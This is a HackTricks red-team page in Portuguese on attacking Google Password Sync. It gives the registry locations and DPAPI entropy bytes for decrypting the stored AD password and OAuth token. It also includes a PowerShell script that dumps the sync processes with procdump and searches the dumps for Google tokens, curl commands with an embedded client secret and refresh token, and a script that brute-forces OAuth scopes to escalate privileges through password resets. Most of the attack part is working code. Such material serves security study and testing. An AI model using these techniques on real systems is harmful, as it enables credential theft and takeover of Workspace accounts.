GPS - Google Password Sync

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas

Este é o binário e serviço que o Google oferece para manter sincronizadas as senhas dos usuários entre o AD e o Workspace. Sempre que um usuário altera sua senha no AD, ela é definida no Google.

Ele é instalado em C:\Program Files\Google\Password Sync, onde você pode encontrar o binário PasswordSync.exe para configurá-lo e password_sync_service.exe (o serviço que continuará em execução).

GPS - Configuração

Para configurar este binário (e serviço), é necessário dar acesso a um principal Super Admin no Workspace:

  • Faça login via OAuth com o Google e então ele armazenará um token no registro (criptografado)
  • Disponível apenas em Controladores de Domínio com GUI
  • Fornecendo algumas credenciais de Conta de Serviço do GCP (arquivo json) com permissões para gerenciar os usuários do Workspace
  • Ideia muito ruim, pois essas credenciais nunca expiram e podem ser mal utilizadas
  • Ideia muito ruim dar acesso a uma SA sobre o workspace, pois a SA pode ser comprometida no GCP e será possível pivotar para o Workspace
  • O Google exige isso para domínio controlado sem GUI
  • Essas credenciais também são armazenadas no registro

Quanto ao AD, é possível indicar para usar o contexto de aplicações atual, anônimo ou algumas credenciais específicas. Se a opção de credenciais for selecionada, o nome de usuário é armazenado dentro de um arquivo no disco e a senha é criptografada e armazenada no registro.

GPS - Extraindo senha e token do disco

tip

Note que Winpeas é capaz de detectar GPS, obter informações sobre a configuração e até mesmo descriptografar a senha e o token.

No arquivo C:\ProgramData\Google\Google Apps Password Sync\config.xml é possível encontrar parte da configuração, como o baseDN do AD configurado e o username cujas credenciais estão sendo usadas.

No registro HKLM\Software\Google\Google Apps Password Sync é possível encontrar o token de atualização criptografado e a senha criptografada para o usuário do AD (se houver). Além disso, se em vez de um token, algumas credenciais de SA forem usadas, também é possível encontrá-las criptografadas nesse endereço do registro. Os valores dentro deste registro são acessíveis apenas por Administradores.

A senha criptografada (se houver) está dentro da chave ADPassword e é criptografada usando a API CryptProtectData. Para descriptografá-la, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta entropia ao usar a CryptUnprotectData: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

O token criptografado (se houver) está dentro da chave AuthToken e é criptografado usando a API CryptProtectData. Para descriptografá-lo, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta entropia ao usar a CryptUnprotectData: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
Além disso, também é codificado usando base32hex com o dicionário 0123456789abcdefghijklmnopqrstv.

Os valores de entropia foram encontrados usando a ferramenta. Ela foi configurada para monitorar as chamadas para CryptUnprotectData e CryptProtectData e então a ferramenta foi usada para iniciar e monitorar PasswordSync.exe, que descriptografará a senha configurada e o token de autenticação no início, e a ferramenta mostrará os valores da entropia usada em ambos os casos:

Note que também é possível ver os valores descriptografados na entrada ou saída das chamadas para essas APIs também (caso em algum momento o Winpeas pare de funcionar).

Caso a Sincronização de Senhas tenha sido configurada com credenciais de SA, também será armazenada em chaves dentro do registro HKLM\Software\Google\Google Apps Password Sync.

GPS - Extraindo tokens da memória

Assim como com o GCPW, é possível extrair a memória do processo dos processos PasswordSync.exe e password_sync_service.exe e você poderá encontrar tokens de atualização e acesso (se já tiverem sido gerados).
Acho que você também poderia encontrar as credenciais configuradas do AD.

Extrair PasswordSync.exe e os processos password_sync_service.exe e buscar tokens
bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

GPS - Gerando tokens de acesso a partir de tokens de atualização

Usando o token de atualização, é possível gerar tokens de acesso utilizando-o e o ID do cliente e o segredo do cliente especificados no seguinte comando:

bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Escopos

note

Observe que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os escopos suportados pela aplicação onde você está gerando o token de acesso.

Além disso, o token de atualização não é válido em todas as aplicações.

Por padrão, o GPS não terá acesso como o usuário a todos os possíveis escopos OAuth, então usando o seguinte script podemos encontrar os escopos que podem ser usados com o refresh_token para gerar um access_token:

Script Bash para força bruta de escopos
bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt

E este é o resultado que obtive no momento da escrita:

https://www.googleapis.com/auth/admin.directory.user

Qual é o mesmo que você obtém se não indicar nenhum escopo.

caution

Com este escopo, você poderia modificar a senha de um usuário existente para escalar privilégios.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks